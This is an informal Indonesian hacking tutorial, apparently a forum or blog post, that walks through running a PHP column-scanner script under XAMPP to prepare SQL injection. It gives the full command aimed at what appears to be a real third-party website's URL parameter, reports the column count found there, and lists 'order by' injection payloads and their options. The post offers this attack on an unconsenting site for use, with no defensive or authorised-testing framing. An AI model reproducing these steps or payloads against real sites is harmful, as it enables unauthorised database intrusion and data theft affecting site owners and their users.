Hari ini gw mau share nih, Dapet tutor ini dari Anak T1KU5G0T.
Yang Suka main SQLI tools ini sangat membantu.
Tutor SQLi Elo bisa liat disini :
Tutorial SQLi Manual + Admin Finder
Kalo site udah vuln cari column ga usah pake "order by"
caranya:
1. Download & install Xampp
2. Download Script Column Scanner Disini
Xampp Udah elo install.. Script taroh di
> local C > Xampp > Php.
 |
| Gw Save pake Nama x.php biar gampang. |
Oke Selanjutnya Buka CMD nya. .
Ketik : /cd
/cd xampp
/cd php
Kalo udah di \user\xampp\php>
Ketik : php x.php -url http://www.facialbaronline.com/services.php?p=1 -p 2 -c 30 -exec
Setelah nunggu beberapa detik muncul Total column nya.
di target gw ada 9 Column.
Note :
[!] Available Payloads
1 order by X--
2 +order+by+X--+
3 '+order+by+X--
Column Max Sampe 100
-url [isi site target] -p [Pilih Payloads] -c [total column yg di cari]